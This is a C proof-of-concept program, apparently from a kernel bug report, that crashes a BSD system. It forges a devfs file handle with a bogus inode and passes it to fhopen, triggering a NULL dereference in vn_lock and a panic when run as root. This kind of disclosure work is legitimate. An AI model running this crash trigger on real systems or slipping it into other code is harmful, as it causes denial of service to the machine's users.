/*
 * DF-3236 PoC: devfs_vfs_fhtovp -> devfs_inode_to_vnode() vn_lock(NULL)
 *
 * A root user calls fhopen(2) with a file handle whose fsid matches the
 * devfs mount on /dev and whose fid_gen matches boottime.tv_sec, but whose
 * fid_ino does not exist in the devfs topology.
 *
 * devfs_vfs_fhtovp (devfs_vfsops.c:202) passes the ino to
 * devfs_inode_to_vnode() (devfs_core.c:959).  The devfs core worker finds
 * no node with that ino, so devfs_iterate_topology() returns NULL and the
 * core assigns msg->mdv_ino.vp = NULL (devfs_core.c:1374).
 * devfs_inode_to_vnode() then executes vn_lock(vp, ...) on the NULL
 * result BEFORE returning it (devfs_core.c:971-972) - the caller's
 * NULL check (devfs_vfsops.c:216) can never run.  vn_lock(NULL)
 * dereferences NULL->v_ops: fatal trap 12, kernel panic.
 *
 * Build:  cc -O -o fhdevfs fhdevfs.c
 * Run:    ./fhdevfs          (as root: expect panic; as user: EPERM)
 */
#include <sys/param.h>
#include <sys/mount.h>
#include <sys/stat.h>
#include <sys/sysctl.h>
#include <sys/fcntl.h>
#include <sys/syscall.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
#include <errno.h>

/* mirror of struct devfs_fid (sys/sys/devfs.h:84-89) */
struct devfs_fid_poc {
	uint16_t	fid_len;
	uint16_t	fid_pad;
	uint32_t	fid_gen;
	uint32_t	fid_ino;
};

int
main(void)
{
	struct statfs sf;
	fhandle_t vfh;
	fhandle_t fh;
	struct devfs_fid_poc *df;
	int fd;

	if (statfs("/dev", &sf) != 0) {
		perror("statfs(/dev)");
		exit(1);
	}

	/*
	 * Take a real devfs file handle (root only) so the fsid and the
	 * fid_gen (== boottime.tv_sec) are byte-exact, then swap the ino.
	 */
	if (syscall(SYS_getfh, "/dev/null", &vfh) != 0) {
		perror("getfh(/dev/null)");
		exit(1);
	}
	memcpy(&fh, &vfh, sizeof(fh));
	fh.fh_fsid = sf.f_fsid;
	df = (struct devfs_fid_poc *)&fh.fh_fid.fid_data[0];
	printf("[*] real fid: len=%u gen=%u ino=%u\n",
	    df->fid_len, df->fid_gen, df->fid_ino);

	df->fid_ino = 0x41414141u;		/* no such devfs inode */

	printf("[*] fhopen(fid_ino=0x41414141, O_RDONLY): "
	    "expect vn_lock(NULL) panic under root\n");
	fflush(stdout);

	errno = 0;
	fd = syscall(SYS_fhopen, &fh, O_RDONLY);
	printf("[*] survived: fd=%d errno=%d (%s)\n",
	    fd, errno, strerror(errno));

	return (fd >= 0) ? 0 : 1;
}
